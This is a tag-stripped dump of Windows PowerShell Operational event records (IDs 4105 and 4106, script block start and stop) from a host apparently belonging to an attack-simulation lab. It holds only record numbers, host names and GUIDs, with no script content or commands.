410515102150x0669667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 